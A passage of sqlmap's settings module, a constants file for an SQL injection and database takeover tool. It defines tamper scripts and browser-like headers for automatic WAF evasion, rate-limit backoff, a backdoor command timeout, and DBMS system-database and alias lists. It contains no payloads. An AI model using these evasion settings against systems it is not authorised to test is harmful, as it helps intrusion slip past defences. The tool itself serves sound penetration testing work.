mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-30 14:11:14 +00:00
1843 lines
105 KiB
Python
1843 lines
105 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import codecs
|
|
import os
|
|
import platform
|
|
import random
|
|
import re
|
|
import string
|
|
import sys
|
|
import time
|
|
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import DBMS_DIRECTORY_NAME
|
|
from lib.core.enums import OS
|
|
from thirdparty import six
|
|
|
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
|
VERSION = "1.10.8.39"
|
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
|
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
|
SITE = "https://sqlmap.org"
|
|
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
|
|
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
|
|
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
|
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
|
|
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
|
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
|
|
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
|
|
|
|
# colorful banner
|
|
BANNER = """\033[01;33m\
|
|
___
|
|
__H__
|
|
___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|
|
|_ -| . [.] | .'| . |
|
|
|___|_ [.]_|_|_|__,| _|
|
|
|_|V... |_| \033[0m\033[4;37m%s\033[0m\n
|
|
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
|
|
|
|
# Minimum distance of ratio from kb.matchRatio to result in True
|
|
DIFF_TOLERANCE = 0.05
|
|
|
|
# Ratio used in heuristic check for WAF/IPS protected targets
|
|
IPS_WAF_CHECK_RATIO = 0.5
|
|
|
|
# Timeout used in heuristic check for WAF/IPS protected targets
|
|
IPS_WAF_CHECK_TIMEOUT = 10
|
|
|
|
# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
|
|
# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
|
|
# false positive) rather than the back-end actually answering.
|
|
WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)
|
|
|
|
# HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's
|
|
# httplib has no such constant)
|
|
TOO_MANY_REQUESTS_HTTP_CODE = 429
|
|
|
|
# Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable
|
|
# 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the
|
|
# ceiling for both the honored backoff and the auto-throttle (seconds)
|
|
RATE_LIMIT_DEFAULT_DELAY = 1.0
|
|
RATE_LIMIT_DELAY_STEP = 0.5
|
|
RATE_LIMIT_MAX_DELAY = 60.0
|
|
|
|
# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
|
|
# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
|
|
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
|
|
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
|
|
WAF_BYPASS_TAMPERS = (
|
|
"equaltolike",
|
|
"between",
|
|
"greatest",
|
|
"charencode",
|
|
"randomcase",
|
|
"space2comment",
|
|
"versionedkeywords",
|
|
"space2hash",
|
|
)
|
|
|
|
# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
|
|
WAF_BYPASS_MAX_TRIALS = 8
|
|
|
|
# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
|
|
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
|
|
# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
|
|
# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
|
|
WAF_BYPASS_HTTP_HEADERS = (
|
|
("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
|
|
("Accept-Language", "en-US,en;q=0.5"),
|
|
)
|
|
|
|
# Timeout used in checking for existence of live-cookies file
|
|
LIVE_COOKIES_TIMEOUT = 120
|
|
|
|
# Lower and upper values for match ratio in case of stable page
|
|
LOWER_RATIO_BOUND = 0.02
|
|
UPPER_RATIO_BOUND = 0.98
|
|
|
|
# Minimum similarity at which a boolean extraction response is judged to "resemble" the calibrated
|
|
# TRUE or FALSE model. A response resembling NEITHER (a transient same-HTTP-code junk page: WAF/CDN
|
|
# interstitial, captcha, maintenance, empty/truncated body) triggers an extra validateChar re-check.
|
|
BOOLEAN_MODEL_MATCH_RATIO = 0.9
|
|
|
|
# Number of candidate names probed per request while mining for hidden parameters ('--mine-params')
|
|
PARAMETER_MINING_BUCKET_SIZE = 25
|
|
|
|
# For filling in case of dumb push updates
|
|
DUMMY_JUNK = "Phah5jue"
|
|
|
|
# Markers for special cases when parameter values contain html encoded characters
|
|
PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
|
|
PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__"
|
|
BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__"
|
|
PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__"
|
|
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
|
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
|
URI_QUESTION_MARKER = "__URI_QUESTION__"
|
|
ASTERISK_MARKER = "__ASTERISK__"
|
|
REPLACEMENT_MARKER = "__REPLACEMENT__"
|
|
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__"
|
|
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__"
|
|
SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__"
|
|
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
|
DOLLAR_MARKER = "__DOLLAR__"
|
|
|
|
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
|
RANDOM_STRING_MARKER = "[RANDSTR]"
|
|
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
|
INFERENCE_MARKER = "[INFERENCE]"
|
|
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
|
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
|
|
|
|
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
|
CHAR_INFERENCE_MARK = "%c"
|
|
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
|
|
|
|
# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
|
|
SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)"
|
|
|
|
# Regular expression used for recognition of textual content-type
|
|
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
|
|
|
|
# Regular expression used for recognition of generic permission messages
|
|
PERMISSION_DENIED_REGEX = r"\b(?P<result>(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))"
|
|
|
|
# Regular expression used in recognition of generic protection mechanisms
|
|
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
|
|
|
# Regular expression used to detect errors in fuzz(y) UNION test
|
|
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected"
|
|
|
|
# Upper threshold for starting the fuzz(y) UNION test
|
|
FUZZ_UNION_MAX_COLUMNS = 10
|
|
|
|
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
|
|
FUZZ_UNION_MAX_REQUESTS = 80
|
|
|
|
# Regular expression used for recognition of generic maximum connection messages
|
|
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
|
|
|
# Maximum consecutive connection errors before asking the user if he wants to continue
|
|
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
|
|
|
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
|
|
PRECONNECT_CANDIDATE_TIMEOUT = 10
|
|
|
|
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
|
|
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP")
|
|
|
|
# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes)
|
|
IDENTYWAF_PARSE_COUNT_LIMIT = 10
|
|
|
|
# Identify WAF/IPS inside limited size of responses
|
|
IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024
|
|
|
|
# Ceiling (seconds) for a simulated heavy-tailed latency spike in '--jitter' (testing) mode
|
|
MAX_JITTER_SPIKE_TIME = 6
|
|
|
|
# '--jitter=N' fault injection: ~1 in N requests is perturbed to stress the time-/boolean-based blind
|
|
# oracles' jitter defenses. Each fired event either adds realistic response LATENCY - Gaussian jitter
|
|
# spanning low->high network noise, or (JITTER_SPIKE_CHANCE of the time) a heavy-tailed spike - and lets
|
|
# the genuine request proceed, or short-circuits with a transient "junk" HTTP response (gateway 5xx,
|
|
# rate-limit, a same-HTTP-code interstitial/maintenance page, or an empty body). Values come from the
|
|
# offline jitter studies (tests/test_jitter_stress.py, tests/test_boolean_jitter.py).
|
|
JITTER_SIGMAS = (0.3, 0.5, 0.9) # low / medium / high continuous jitter (seconds)
|
|
JITTER_SPIKE_CHANCE = 0.25 # portion of latency events replaced by a heavy-tailed spike
|
|
JITTER_JUNK_RESPONSES = (
|
|
("<html><h1>502 Bad Gateway</h1></html>", 502),
|
|
("<html><h1>503 Service Unavailable</h1></html>", 503),
|
|
("<html><h1>504 Gateway Time-out</h1></html>", 504),
|
|
('{"error": "too many requests"}', 429),
|
|
("<html><head><title>Just a moment...</title></head><body>Checking your browser before accessing.</body></html>", 200),
|
|
("<html><body>We'll be back shortly. Scheduled maintenance in progress.</body></html>", 200),
|
|
("", 200),
|
|
)
|
|
|
|
# Regular expression used for extracting results from Google search
|
|
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
|
|
|
# Google Search consent cookie
|
|
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
|
|
|
|
# Regular expression used for extracting results from DuckDuckGo search
|
|
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
|
|
|
# Regular expression used for extracting results from Bing search
|
|
BING_REGEX = r'<h2><a href="([^"]+)" h='
|
|
|
|
# Dummy user agent for search (if default one returns different results)
|
|
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0"
|
|
|
|
# Regular expression used for extracting content from "textual" tags
|
|
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
|
|
|
# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
|
|
# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
|
|
# content is dynamic but whose layout is stable
|
|
STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
|
|
STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
|
|
STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
|
|
|
|
# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
|
|
# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
|
|
# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
|
|
# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
|
|
# is a net slowdown, so it is gated by this size
|
|
NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024
|
|
|
|
# Coarse plausibility band for a NULL connection method's reported length, relative to the known
|
|
# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
|
|
# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
|
|
# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
|
|
# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
|
|
# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
|
|
NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
|
|
NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0
|
|
|
|
# Regular expression used for recognition of IP addresses
|
|
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
|
|
|
|
# Regular expression used for recognition of generic "your ip has been blocked" messages
|
|
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)"
|
|
|
|
# Dumping characters used in GROUP_CONCAT MySQL technique
|
|
CONCAT_ROW_DELIMITER = ','
|
|
CONCAT_VALUE_DELIMITER = '|'
|
|
|
|
# Coefficient used for a time-based query delay checking (must be >= 7)
|
|
TIME_STDEV_COEFF = 7
|
|
|
|
# Robust (median/MAD) cutoff for discarding spike outliers from the time-response model before
|
|
# computing avg/stdev - a single network spike landing in the baseline would otherwise inflate the
|
|
# delay threshold and miss genuine delays. Deliberately wide (~10 robust sigmas) so a clean model is
|
|
# left untouched (identical threshold) and only true outliers are dropped.
|
|
TIME_OUTLIER_MAD_COEFF = 10
|
|
|
|
# Minimum response time that can be even considered as delayed (not a complete requirement)
|
|
MIN_VALID_DELAYED_RESPONSE = 0.5
|
|
|
|
# Standard deviation after which a warning message should be displayed about connection lags
|
|
WARN_TIME_STDEV = 0.5
|
|
|
|
# Minimum length of usable union injected response (quick defense against substr fields)
|
|
UNION_MIN_RESPONSE_CHARS = 10
|
|
|
|
# Coefficient used for a union-based number of columns checking (must be >= 7)
|
|
UNION_STDEV_COEFF = 7
|
|
|
|
# Length of queue for candidates for time delay adjustment
|
|
TIME_DELAY_CANDIDATES = 3
|
|
|
|
# Default value for HTTP Accept header
|
|
HTTP_ACCEPT_HEADER_VALUE = "*/*"
|
|
|
|
# Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784)
|
|
try:
|
|
import compression.zstd as _zstdModule
|
|
except ImportError:
|
|
_zstdModule = None
|
|
HTTP_ZSTD_AVAILABLE = _zstdModule is not None
|
|
|
|
# Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd'
|
|
# only when the stdlib provides it - never advertise a content-coding we cannot decode)
|
|
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "")
|
|
|
|
# Default timeout for running commands over backdoor
|
|
BACKDOOR_RUN_CMD_TIMEOUT = 5
|
|
|
|
# Number of seconds to wait for thread finalization at program end
|
|
THREAD_FINALIZATION_TIMEOUT = 1
|
|
|
|
# Maximum number of techniques used in inject.py/getValue() per one value
|
|
MAX_TECHNIQUES_PER_VALUE = 2
|
|
|
|
# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier
|
|
ETA_DISPLAY_SMOOTHING = 0.5
|
|
|
|
# In case of missing piece of partial union dump, buffered array must be flushed after certain size
|
|
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
|
|
|
|
# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
|
|
JSON_AGG_CHUNK_ROWS = 1000
|
|
|
|
# Maximum size of cache used in @cachedmethod decorator
|
|
MAX_CACHE_ITEMS = 1024
|
|
|
|
# Suffix used for naming meta databases in DBMS(es) without explicit database name
|
|
METADB_SUFFIX = "_masterdb"
|
|
|
|
# Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt)
|
|
PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
|
|
|
|
# Minimum time response set needed for time-comparison based on standard deviation
|
|
MIN_TIME_RESPONSES = 30
|
|
|
|
# Maximum time response set used during time-comparison based on standard deviation
|
|
MAX_TIME_RESPONSES = 200
|
|
|
|
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation
|
|
MIN_UNION_RESPONSES = 5
|
|
|
|
# After these number of blanks at the end inference should stop (just in case)
|
|
INFERENCE_BLANK_BREAK = 5
|
|
|
|
# Use this replacement character for cases when inference is not able to retrieve the proper character value
|
|
INFERENCE_UNKNOWN_CHAR = '?'
|
|
|
|
# Character used for operation "greater" in inference
|
|
INFERENCE_GREATER_CHAR = ">"
|
|
|
|
# Character used for operation "greater or equal" in inference
|
|
INFERENCE_GREATER_EQUALS_CHAR = ">="
|
|
|
|
# Character used for operation "equals" in inference
|
|
INFERENCE_EQUALS_CHAR = "="
|
|
|
|
# Character used for operation "not-equals" in inference
|
|
INFERENCE_NOT_EQUALS_CHAR = "!="
|
|
|
|
# String used for representation of unknown DBMS
|
|
UNKNOWN_DBMS = "Unknown"
|
|
|
|
# String used for representation of unknown DBMS version
|
|
UNKNOWN_DBMS_VERSION = "Unknown"
|
|
|
|
# Dynamicity boundary length used in dynamicity removal engine
|
|
DYNAMICITY_BOUNDARY_LENGTH = 20
|
|
|
|
# Dummy user prefix used in dictionary attack
|
|
DUMMY_USER_PREFIX = "__dummy__"
|
|
|
|
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
|
|
DEFAULT_PAGE_ENCODING = "iso-8859-1"
|
|
|
|
try:
|
|
codecs.lookup(DEFAULT_PAGE_ENCODING)
|
|
except LookupError:
|
|
DEFAULT_PAGE_ENCODING = "utf8"
|
|
|
|
# Marker for program piped input
|
|
STDIN_PIPE_DASH = '-'
|
|
|
|
# URL used in dummy runs
|
|
DUMMY_URL = "http://foo/bar?id=1"
|
|
|
|
# Timeout used during initial websocket (pull) testing
|
|
WEBSOCKET_INITIAL_TIMEOUT = 3
|
|
|
|
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
|
PLATFORM = os.name
|
|
PYVERSION = sys.version.split()[0]
|
|
IS_WIN = PLATFORM == "nt"
|
|
IS_PYPY = platform.python_implementation() == "PyPy"
|
|
|
|
# Check if running in terminal
|
|
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
|
|
|
|
# DBMS system databases
|
|
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource")
|
|
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo")
|
|
PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent")
|
|
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
|
|
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
|
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs")
|
|
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
|
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
|
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
|
|
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
|
|
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
|
|
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
|
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
|
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
|
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
|
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
|
|
MCKOI_SYSTEM_DBS = ("",)
|
|
PRESTO_SYSTEM_DBS = ("information_schema",)
|
|
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
|
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
|
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
|
CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system")
|
|
CUBRID_SYSTEM_DBS = ("DBA",)
|
|
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
|
|
EXTREMEDB_SYSTEM_DBS = ("",)
|
|
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
|
|
RAIMA_SYSTEM_DBS = ("",)
|
|
VIRTUOSO_SYSTEM_DBS = ("",)
|
|
SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
|
SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
|
|
HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE")
|
|
|
|
# Note: (<regular>) + (<forks>)
|
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks")
|
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb")
|
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8")
|
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
|
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
|
|
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
|
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
|
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
|
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
|
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
|
H2_ALIASES = ("h2",) + ("ignite", "apache ignite")
|
|
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
|
MONETDB_ALIASES = ("monet", "monetdb",)
|
|
DERBY_ALIASES = ("derby", "apache derby",)
|
|
VERTICA_ALIASES = ("vertica",)
|
|
MCKOI_ALIASES = ("mckoi",)
|
|
PRESTO_ALIASES = ("presto",)
|
|
ALTIBASE_ALIASES = ("altibase",)
|
|
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
|
CRATEDB_ALIASES = ("cratedb", "crate")
|
|
CUBRID_ALIASES = ("cubrid",)
|
|
CLICKHOUSE_ALIASES = ("clickhouse",)
|
|
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris")
|
|
EXTREMEDB_ALIASES = ("extremedb", "extreme")
|
|
FRONTBASE_ALIASES = ("frontbase",)
|
|
RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
|
|
VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
|
|
SNOWFLAKE_ALIASES = ("snowflake",)
|
|
SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
|
|
HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb")
|
|
|
|
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
|
|
|
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES)
|
|
SUPPORTED_OS = ("linux", "windows")
|
|
|
|
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), 